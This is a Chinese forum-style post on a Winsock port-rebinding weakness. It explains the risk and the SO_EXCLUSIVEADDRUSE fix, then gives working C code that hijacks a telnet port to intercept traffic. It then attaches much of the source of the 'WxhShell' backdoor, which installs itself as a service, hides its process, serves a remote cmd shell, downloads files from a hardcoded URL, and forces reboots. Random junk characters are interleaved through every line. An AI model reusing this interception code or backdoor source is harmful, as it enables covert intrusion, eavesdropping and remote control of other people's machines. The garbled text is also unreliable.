在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
o5\b'hR*# s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
FFEfp.T1M hNXBVIL<& saddr.sin_family = AF_INET;
W9t"aZor ha;l(U> saddr.sin_addr.s_addr = htonl(INADDR_ANY);
"Lh PN$
.X"D8 bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
m}$+Hdk+7 tvX>{-M 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
Fv?=Z-wk [oc~iDx%W 这意味着什么?意味着可以进行如下的攻击:
<B /5J:o< # x>g a 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
NHw x:-RH gM>=%/. 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
4z:#I; t ]c{c#N/ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
]%RNA:(F' P&*sB%B 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
1Q}mf !Y %HtuR2#ca 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
6Ggs JU !C:r b 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
:f'&z47 '#O_}|ZN 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
*jzLFuWIG "`A :(<x #include
K#K\-TR|$ #include
Aox3s? #include
v_PdOp[
k #include
lf>nbvp DWORD WINAPI ClientThread(LPVOID lpParam);
BzpP7 ZWV int main()
A1cb"N^ {
=QV::/ WORD wVersionRequested;
1'6cGpZY DWORD ret;
+c206. WSADATA wsaData;
6S?x
D5( BOOL val;
Bk|K%K SOCKADDR_IN saddr;
Nq 8@Nyp SOCKADDR_IN scaddr;
WV kR56 int err;
iO!6}yJ*V SOCKET s;
++[5q+b SOCKET sc;
(L6Cy%KgV int caddsize;
y[0`hSQ)~ HANDLE mt;
j<tq1?? [b DWORD tid;
qH%")7> wVersionRequested = MAKEWORD( 2, 2 );
!- ~X?s~L err = WSAStartup( wVersionRequested, &wsaData );
\tJFAc if ( err != 0 ) {
;n#%G^!H printf("error!WSAStartup failed!\n");
9x~-*8aw return -1;
OIaYHA }
0? Yz]+{C saddr.sin_family = AF_INET;
E\2Ml@J (7$$; //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
}dSFAKI2dM j!#OG saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
(N~$x saddr.sin_port = htons(23);
^E>CGGS4 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
SKXBrD=- {
x.DzViP/ printf("error!socket failed!\n");
j kn^Z": return -1;
{^q)^<#JT }
z>vtEV)) val = TRUE;
+6W(z3($ //SO_REUSEADDR选项就是可以实现端口重绑定的
}4c/YP"a'E if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
2BB<mv
K4 {
Ef7:y|? printf("error!setsockopt failed!\n");
|qjZ38;6 return -1;
#I\Y=XCY }
Mpx/S<Z //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
z
YDK $ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
eS!C3xC;J] //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
"/%89 HMD (L69{n if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
&d$~6'x* {
u>cC O'q ret=GetLastError();
XYbyOM VI printf("error!bind failed!\n");
?{J!#`tfV return -1;
A[/I#Im7 }
):6- listen(s,2);
A! 6r/
while(1)
)3E,D~1e% {
mVH,HqsXa caddsize = sizeof(scaddr);
H:oQ //接受连接请求
XQ;I,\m sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
['Z{@9 if(sc!=INVALID_SOCKET)
<O857j {
`6w#8} mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
(6xDu.u?A if(mt==NULL)
[e"RTTRfZ {
DvT+`X?R printf("Thread Creat Failed!\n");
/8 CY0Ey break;
*{/@uO }
!sIwFv) }
]rX9MA6 CloseHandle(mt);
sB7" 0M }
tEhr closesocket(s);
OeTu?d&N WSACleanup();
`bP?o return 0;
!L\'Mk/=A }
r+gjc?Ol DWORD WINAPI ClientThread(LPVOID lpParam)
$B _Nc*_e {
SPwPCI1?
SOCKET ss = (SOCKET)lpParam;
O*7i }\{ SOCKET sc;
(r F?If unsigned char buf[4096];
d/j@_3' SOCKADDR_IN saddr;
:1<~}*B@{ long num;
ju{%'D!d9 DWORD val;
RV!<?[ DWORD ret;
.hz2&9Ow //如果是隐藏端口应用的话,可以在此处加一些判断
!Cb=B //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
}: #dV
B+ saddr.sin_family = AF_INET;
Di.;<v#FL saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
o~~ 9!\ saddr.sin_port = htons(23);
\graMu}- if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
5H.Db {
%x2b0L\g printf("error!socket failed!\n");
5+L8\V9; return -1;
:('I)C }
X4I]9t\ val = 100;
xXOw:A' if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
XS/n>C {
1_3?R}$Wl ret = GetLastError();
.uDM_ 34 return -1;
/yK"t<p }
@36S}5Oa if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
zh?4K*>.k {
FzhT$7Gw ret = GetLastError();
iG-N return -1;
C_-E4I
Z) }
gM, &Spn if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
QMb^&?;s {
"L_-}BK printf("error!socket connect failed!\n");
"?H+
u/8$ closesocket(sc);
Ar`\ N1a closesocket(ss);
Ruj.J, return -1;
M:|/ijpN }
Yw^ Gti'< while(1)
;Q90Y&{L=$ {
TcZN% //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
*gSO&O= //如果是嗅探内容的话,可以再此处进行内容分析和记录
-A;w$j6* //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
"^"'uO$ num = recv(ss,buf,4096,0);
csvOg[ if(num>0)
q)oN2- send(sc,buf,num,0);
E\!n49 else if(num==0)
>Z"9rF2SW break;
+S0u=u65 num = recv(sc,buf,4096,0);
jZ#UUnR% if(num>0)
(6-y+LG send(ss,buf,num,0);
Lh!z>IWjOG else if(num==0)
,aO@.<" break;
Bm<^rhJ9 }
<(uTst closesocket(ss);
'a_s%{BJXg closesocket(sc);
qb$_xIQpDL return 0 ;
^H'kHl'F }
MiD u\w 2S4c =LqL@5Xr ==========================================================
J";=d4Sd [a+4gy 下边附上一个代码,,WXhSHELL
^Fvr
f`A' }{=8&gA0 ==========================================================
/&QQ p3 %^U"Spv; #include "stdafx.h"
"uS7PplyO EqQ3=XMUL@ #include <stdio.h>
xXPUrv5zO #include <string.h>
"cQvd(kug #include <windows.h>
v,*Q]r0m #include <winsock2.h>
D+hB[*7Fs #include <winsvc.h>
#{~7G%GPY5 #include <urlmon.h>
|Cq8% ;%!tf{Si #pragma comment (lib, "Ws2_32.lib")
$2is3;h #pragma comment (lib, "urlmon.lib")
\
%_)_"Q 4JSZ0:O #define MAX_USER 100 // 最大客户端连接数
Kt6C43]7 #define BUF_SOCK 200 // sock buffer
#~*XDWvIS~ #define KEY_BUFF 255 // 输入 buffer
6d};|#} k%!VP=c4s #define REBOOT 0 // 重启
v*Xk WH5 #define SHUTDOWN 1 // 关机
uZ<%kV1B
,| <jjq) #define DEF_PORT 5000 // 监听端口
-[<vYxX:h: K+-z Y[3 #define REG_LEN 16 // 注册表键长度
N+hedF@ZU #define SVC_LEN 80 // NT服务名长度
*LEu=3lp%> bkkSIl+Q // 从dll定义API
*bU% @O typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
p4y6R4kyT typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
]p\u$VY9 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
;9vIa7L& typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
qkiJH T k_BSY=$e*D // wxhshell配置信息
3Mxz_~ struct WSCFG {
q>P[n z% int ws_port; // 监听端口
S_j1=6#^ char ws_passstr[REG_LEN]; // 口令
IY03" int ws_autoins; // 安装标记, 1=yes 0=no
9D%qXU char ws_regname[REG_LEN]; // 注册表键名
q$|0)} char ws_svcname[REG_LEN]; // 服务名
L1rAT char ws_svcdisp[SVC_LEN]; // 服务显示名
7\f{'KL char ws_svcdesc[SVC_LEN]; // 服务描述信息
gINwvzW{ char ws_passmsg[SVC_LEN]; // 密码输入提示信息
"B~WcC int ws_downexe; // 下载执行标记, 1=yes 0=no
_Ws#UL+Nq char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
4 *H(sq char ws_filenam[SVC_LEN]; // 下载后保存的文件名
tr5'dX4] K:uQ#W.& };
f%L:<4 C)U #T) // default Wxhshell configuration
A3<^ U struct WSCFG wscfg={DEF_PORT,
XnPJC' "xuhuanlingzhe",
=>e?l8`% 1,
'Z59<Y a&x "Wxhshell",
f>O54T .L. "Wxhshell",
<3)|44.o& "WxhShell Service",
k+f1sV[4} "Wrsky Windows CmdShell Service",
t[/\KG8 "Please Input Your Password: ",
y~x#pC*w 1,
|1lf(\T_ "
http://www.wrsky.com/wxhshell.exe",
87+.pM|t% "Wxhshell.exe"
F:M/z#:~ };
n$IWoIdbGN *&h6*zP? // 消息定义模块
nrI"k2oA@ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
+<GrRYbC char *msg_ws_prompt="\n\r? for help\n\r#>";
}+*w.X}L char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
3_C98ClE char *msg_ws_ext="\n\rExit.";
/i> ?i@O- char *msg_ws_end="\n\rQuit.";
%7iUlO}}V char *msg_ws_boot="\n\rReboot...";
:a=ro2NH char *msg_ws_poff="\n\rShutdown...";
5d> nIKW char *msg_ws_down="\n\rSave to ";
@Jkui E7k-pquvE char *msg_ws_err="\n\rErr!";
5Ws5X_?d char *msg_ws_ok="\n\rOK!";
AL(n*, i[o&z$JO char ExeFile[MAX_PATH];
sN"p5p int nUser = 0;
/4(Z`e;0 HANDLE handles[MAX_USER];
'lxLnX int OsIsNt;
}!eF
=7F E/S SERVICE_STATUS serviceStatus;
YomwjKyuP SERVICE_STATUS_HANDLE hServiceStatusHandle;
~wa%fM p
.lu4 // 函数声明
qK{|Q int Install(void);
?OdV1xB int Uninstall(void);
b=V)?"e- int DownloadFile(char *sURL, SOCKET wsh);
CM`x>J int Boot(int flag);
RA#\x. void HideProc(void);
{bW"~_6} int GetOsVer(void);
L-`(!j int Wxhshell(SOCKET wsl);
Q-M
rH void TalkWithClient(void *cs);
7ytm.lU int CmdShell(SOCKET sock);
.L~f Fns/ int StartFromService(void);
aIQrb int StartWxhshell(LPSTR lpCmdLine);
!&'# a k,a,h^{}j VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
Lr K9F^c VOID WINAPI NTServiceHandler( DWORD fdwControl );
=|^X$H q2[+-B)m // 数据结构和表定义
BT&rp%NO6l SERVICE_TABLE_ENTRY DispatchTable[] =
czXI?]gg, {
Ngn\nkf {wscfg.ws_svcname, NTServiceMain},
;Gjv9:hUn {NULL, NULL}
jB*9 !xrd, };
5}<.1ab3V z\X60T // 自我安装
H?rSP0. int Install(void)
7yo|ie@S {
1-4 char svExeFile[MAX_PATH];
rdORNlK& HKEY key;
rd|@*^k strcpy(svExeFile,ExeFile);
#k"1wSx16 Wpiv1GZ%c8 // 如果是win9x系统,修改注册表设为自启动
B)(p9]q if(!OsIsNt) {
9m<wcZ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
j4.Qvj >:4 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
~5-~q0Ge RegCloseKey(key);
h<PYE]?l if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
0L3Bo3:k RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
{Bav$kw;?e RegCloseKey(key);
jrDz7AfA return 0;
=g{_^^n }
U)&H.^@r$ }
tXssejiE% }
MAsWds`bpB else {
dbf^A1HI k+W // 如果是NT以上系统,安装为系统服务
sg'Y4 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
k@'?"CP\Xq if (schSCManager!=0)
@\x,;!N@ {
&6|6J1c8 SC_HANDLE schService = CreateService
Vvxc8v: (
O+CF/ipX/ schSCManager,
eY0Ly7 wscfg.ws_svcname,
5^G7pI7 wscfg.ws_svcdisp,
N[|by}@n SERVICE_ALL_ACCESS,
h$#4ebp SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
(.jO:#eE% SERVICE_AUTO_START,
I v 80,hW SERVICE_ERROR_NORMAL,
z|t.y.JX svExeFile,
;j[q?^ b NULL,
7)ES!C NULL,
:X1`wBu NULL,
-ucz+{ NULL,
<MI$Nl NULL
"B_5Y&pM` );
Zq2H9^![y~ if (schService!=0)
g7E`;&f {
ONg< CloseServiceHandle(schService);
~m,mvRS CloseServiceHandle(schSCManager);
E-*>f"<h strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
*g/I&'^ strcat(svExeFile,wscfg.ws_svcname);
ND)M3qp2( if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
I(iGs I RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
i]hR7g< RegCloseKey(key);
=CD:.FG. return 0;
A;/Xt }
;iwD/=Y }
LN,$P CloseServiceHandle(schSCManager);
Zp% "" }
@E&X&F% }
V!yp@%D Q!BkS=H30K return 1;
Q@3ld6y }
AOvH&9** Z.cG`Km* // 自我卸载
#U6/@l) int Uninstall(void)
93zlfLS0 {
DI2S
%Nl HKEY key;
|zr)hC
A ydy=sj if(!OsIsNt) {
uMq\];7I if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
6 ^6uK RegDeleteValue(key,wscfg.ws_regname);
cSH tl<UY RegCloseKey(key);
B<|q{D$N/ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
l1`c?Y RegDeleteValue(key,wscfg.ws_regname);
JY;#]'T\; RegCloseKey(key);
X~<>K/}u5 return 0;
u:{.
Hn` }
t`&s }
.n^O)|Z }
`gA5P % else {
[\w>{ `qYc#_ELv SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
xr1I8 5kM if (schSCManager!=0)
0lJBtk9wn {
FrE/K_L SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
i >/@]2 if (schService!=0)
st1M.} {
r(/P||`l if(DeleteService(schService)!=0) {
:u|UVp5 CloseServiceHandle(schService);
*SAcH_I2$> CloseServiceHandle(schSCManager);
2-B8>-
return 0;
37<GG) }
/fcwz5~ CloseServiceHandle(schService);
#!F8n` C- }
s3fGX|; CloseServiceHandle(schSCManager);
@%5F^Vbd }
@)M.u3{\ }
)9;kzp/ `(w kqa return 1;
z<C~DH }
_tg3%X] vr]dRStr // 从指定url下载文件
aX%g+6t2 int DownloadFile(char *sURL, SOCKET wsh)
Xb07 l3UG {
)I0g&e^Tzy HRESULT hr;
b "AHw?5F char seps[]= "/";
v*T@<]f3j char *token;
l<+,(E= char *file;
BfO}4 char myURL[MAX_PATH];
E`Zh\u) char myFILE[MAX_PATH];
5E!|on a6K$omu strcpy(myURL,sURL);
4QN6BZJ5 token=strtok(myURL,seps);
v|hKf6 while(token!=NULL)
Bg
8t'dw?K {
n*]x02:LjZ file=token;
A5J#x6@ token=strtok(NULL,seps);
/(}l[jf }
kQ:>j.^e E<.{
v\ GetCurrentDirectory(MAX_PATH,myFILE);
J jL0/& strcat(myFILE, "\\");
Y_ u7
0@` strcat(myFILE, file);
?\ i,JJO send(wsh,myFILE,strlen(myFILE),0);
39^uLob send(wsh,"...",3,0);
;kcFQed\w hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
xdSj+507 if(hr==S_OK)
iOA3x 8J return 0;
v+,
w{~7RH else
A_dYN?^?| return 1;
8C4@V[sm` B\~3p4S }
=?QQb> "nS{
;: // 系统电源模块
vcUM]m8k int Boot(int flag)
-1Ki7|0, {
z@40g)R2A HANDLE hToken;
SZ1pf#w! TOKEN_PRIVILEGES tkp;
_[6+FdS], FV<^q|K/(] if(OsIsNt) {
l[OQo|_ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
L``mF(R^ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
=dJEcC_J tkp.PrivilegeCount = 1;
Mdq'> <ajL tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
N_~Wu AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
)}Mt'd if(flag==REBOOT) {
gj(l&F *@ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
8*X
L19N return 0;
d(cYtM,P }
)fcpE,g' else {
[;\<
2 =H if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
;?[ +vf") return 0;
G;.u>92r| }
B=qRZA!DQ? }
AFnlt else {
LHGK!zI if(flag==REBOOT) {
XwqfWd_ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
7qdl,z return 0;
"gVH;<&] }
QrRCsy70 else {
(inwKRH if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
tw^.(m5d return 0;
A-NC,3 }
\y+F!;IxL }
~<Qxw>S# s#CEhb return 1;
!haXO }
5|H(N}S_ t@mw f3, // win9x进程隐藏模块
5+PBS)pJ]% void HideProc(void)
/VOST^z! {
RAJ|#I1 Kwmo)|7uPU HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
;bu;t# if ( hKernel != NULL )
'48|f`8$ {
eh#
(}v pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
- cC(d$y ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
i}12mjF FreeLibrary(hKernel);
rs)aEmvC }
xH.q krT!AfeV return;
dtXJ<1: }
dEl3?~ )HiTYV)]' // 获取操作系统版本
nWg)zj: int GetOsVer(void)
k.VOS0 {
K":tr~V; OSVERSIONINFO winfo;
-"b3q winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
)1'_g4 GetVersionEx(&winfo);
T_
#oMXZ/ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
G\+MT(&5 return 1;
Jywz27j else
\^Q)`Lqp:g return 0;
&^<T/PiR }
!c' ;L' }tg n1xpx // 客户端句柄模块
`RLrT34 int Wxhshell(SOCKET wsl)
B$eF@v" {
Al;oI3 SOCKET wsh;
G~j<I/)" struct sockaddr_in client;
omU)hFvyS DWORD myID;
6>^k9cJp ]qTr4`. while(nUser<MAX_USER)
Q ?<9 {
!q1^X% a int nSize=sizeof(client);
fu;B ?mIn wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
-s84/E4Y* if(wsh==INVALID_SOCKET) return 1;
/1@m#ZxA: mhSsOmJ5 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
!!pi\J?sk if(handles[nUser]==0)
gDBQ\vM8 closesocket(wsh);
9E*K44L/V else
+ {dIs nUser++;
"+Yn;9 }
YR`rg;n# WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
F#R\Ot,hv
K8we* return 0;
soCHwiE }
=5#Jsn?U ~&jCz4M // 关闭 socket
-v2q:x'G# void CloseIt(SOCKET wsh)
CzbNG^+ {
+u)$o closesocket(wsh);
PA[Rhoit, nUser--;
s&hP^tKT ExitThread(0);
'Z9F0l"Nr }
Y3&ecEE F'Vl\qPt // 客户端请求句柄
sM_e_e void TalkWithClient(void *cs)
U Bg_b?k {
*a.*Ha kV<)>Gs SOCKET wsh=(SOCKET)cs;
)SLs
[ char pwd[SVC_LEN];
a
VMFjkW char cmd[KEY_BUFF];
\5_^P{p7< char chr[1];
(LPc\\Vv int i,j;
4 (gf!U _QCI<|A while (nUser < MAX_USER) {
(`*wiu+i 0_.hU^fP if(wscfg.ws_passstr) {
tfQq3 # if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
(HxF\#r? //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
m^+~pC5 //ZeroMemory(pwd,KEY_BUFF);
YtQWArX, i=0;
N$b;8F while(i<SVC_LEN) {
I'YotV7 (`xnA~BN // 设置超时
k"c_x*f fd_set FdRead;
F4{<;4N0 struct timeval TimeOut;
pP&M]' FD_ZERO(&FdRead);
^a5>`W FD_SET(wsh,&FdRead);
a"4 6_> TimeOut.tv_sec=8;
z#/*LP#oY TimeOut.tv_usec=0;
c^k.
<EA int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
-qF| Y
f if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
rpWy 6oD #+\G-
=- if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
b>EUa> h pwd
=chr[0]; /ep~/#Ia
if(chr[0]==0xd || chr[0]==0xa) { ?8/h3xV;
pwd=0; _\[G7
break; ,oil}N(
} /L^dHI]Q
i++; }5Uf`pM8
} 8m0sEV>
>S]')O$c
// 如果是非法用户,关闭 socket ;{20Heuz
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Zv93cv
} VV0$L=mo
B8Z66#EQ
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); [l:.Q?? )|
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Mr(3]EfgO
e:<>
Yq+
while(1) { uUs>/+
.EwK>ro4
ZeroMemory(cmd,KEY_BUFF); H'>
7m:, -xp
// 自动支持客户端 telnet标准 }fZBP]<I(
j=0; @d|9(,Q
while(j<KEY_BUFF) { x
,W+:l9~s
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); sn%fE
cmd[j]=chr[0]; kF .b)
if(chr[0]==0xa || chr[0]==0xd) { dPId=
w)
cmd[j]=0; 7(Kc9sJC%%
break; %|>i2
} %#~Wk|8} Q
j++; 7&1: ]{_
} EK_^#b
sP%.o7&n
// 下载文件 `R RORzXoS
if(strstr(cmd,"http://")) { 6~LpBlb
send(wsh,msg_ws_down,strlen(msg_ws_down),0); Ok!{2$P8U9
if(DownloadFile(cmd,wsh)) &@+;]t
send(wsh,msg_ws_err,strlen(msg_ws_err),0); )3
else ^da-R;o]
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (n\
cs$
} %<t/xAge
else { U^D7T|P$V
Pl4d(2
7
switch(cmd[0]) { ;nE}%lT
|(5=4j]
// 帮助 z?xd\x
case '?': { |1o]d$3m
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0);
8z"Yo7no
break; 2Z~ofrj
} 5Mr:(|JyV
// 安装 Y|F);XXIl
case 'i': { rH,N.H#]
if(Install()) {YFru6$
send(wsh,msg_ws_err,strlen(msg_ws_err),0); G)Y!aX
else 4.TG&IQ
nN
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); U' Cp3>
break; DNPK1e3a{
} <3KrhhH
// 卸载 ;<\*(rUe
case 'r': { @Klj!2cv$
if(Uninstall()) trLs4o,
send(wsh,msg_ws_err,strlen(msg_ws_err),0); N<x5:f#+
else dq2v[?*R
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); c1[;a>
break; SW7%SX,xM
} .kVga+la?
// 显示 wxhshell 所在路径 ?9:\1)]
case 'p': { ?jbam!A
char svExeFile[MAX_PATH]; @u^Ib33
strcpy(svExeFile,"\n\r"); UWHC]V?
strcat(svExeFile,ExeFile); Hg4Ut/0
send(wsh,svExeFile,strlen(svExeFile),0); <Vim\
break; ]+AI:
} $1e@3mzM
// 重启 H\T
h4teE
case 'b': { `8I&(k<wLe
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ?4_;9MkN
if(Boot(REBOOT)) _[x(p6Xp
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0:*$i(2
else { n2E2V<#
closesocket(wsh); hf[K\aAk
ExitThread(0); S`::f(e
} 7j+.H/2
break; t%)L8%Jr
} $aG'.0HW
// 关机 ]#nAld1cmy
case 'd': { <FP-]R)
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Xp'KQ1w)
if(Boot(SHUTDOWN)) {R K#W~h
send(wsh,msg_ws_err,strlen(msg_ws_err),0); N|DY)W
else { x{rt\OT
closesocket(wsh); .#X0P=
ExitThread(0); <YC{q>EMc
} ]@xc9tlG
break; +=R:n^r^,
} gI]Vyg<{d
// 获取shell ~'ovJ46tx
case 's': { XP'KgTF
CmdShell(wsh); ]n+:lsiV
closesocket(wsh); UJb7v:^
ExitThread(0); *G9;d0
break; $hL0/T-m
} m2;%|QE(
// 退出 |:\h3M
case 'x': { z, OMR`W
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); @wo9;DW`
CloseIt(wsh); C oaqi`v4T
break; <,m}TTq
} E_++yK^=
// 离开 A#T;Gi
case 'q': { ^C(AMT
send(wsh,msg_ws_end,strlen(msg_ws_end),0); bHp|>g
closesocket(wsh); 9DIG K\
WSACleanup(); L8V'mUyD
exit(1); CTwP{[%Pk
break; KT3[{lr
} j1BYSfX'
} ?}W:DGudZ
} ?B-aj
,yB-jk?
// 提示信息 D!:Qy@Zw
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |Oo
WGVc
} f~]5A%=cZ
} WYq, i}S
\UXQy{Ex
return; PgVM>_nHk
} LE7o[<>
MFC= oKD
// shell模块句柄 (F
@IUbnl
int CmdShell(SOCKET sock) 8}U/fQ~
{ zRe0z2
STARTUPINFO si; +Y.As
ZeroMemory(&si,sizeof(si)); ;G w5gK^
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; YXmLd'F^3
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; f`?|A
PROCESS_INFORMATION ProcessInfo; P?bdjU#_n`
char cmdline[]="cmd"; 5f1yszd
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); zP5H TEz
return 0; rIu>JyC"p
} o}[wu:>yk
1f}Dza9
// 自身启动模式 a1?Y7(alPU
int StartFromService(void) .9`.\v6R
{ [ P
8e=;
typedef struct a+]@$8+
{ g
>X!Q
DWORD ExitStatus; F.JE$)B2EX
DWORD PebBaseAddress; nF7Ozxm#
DWORD AffinityMask; ^f4qs
DWORD BasePriority; b+w|3bQa
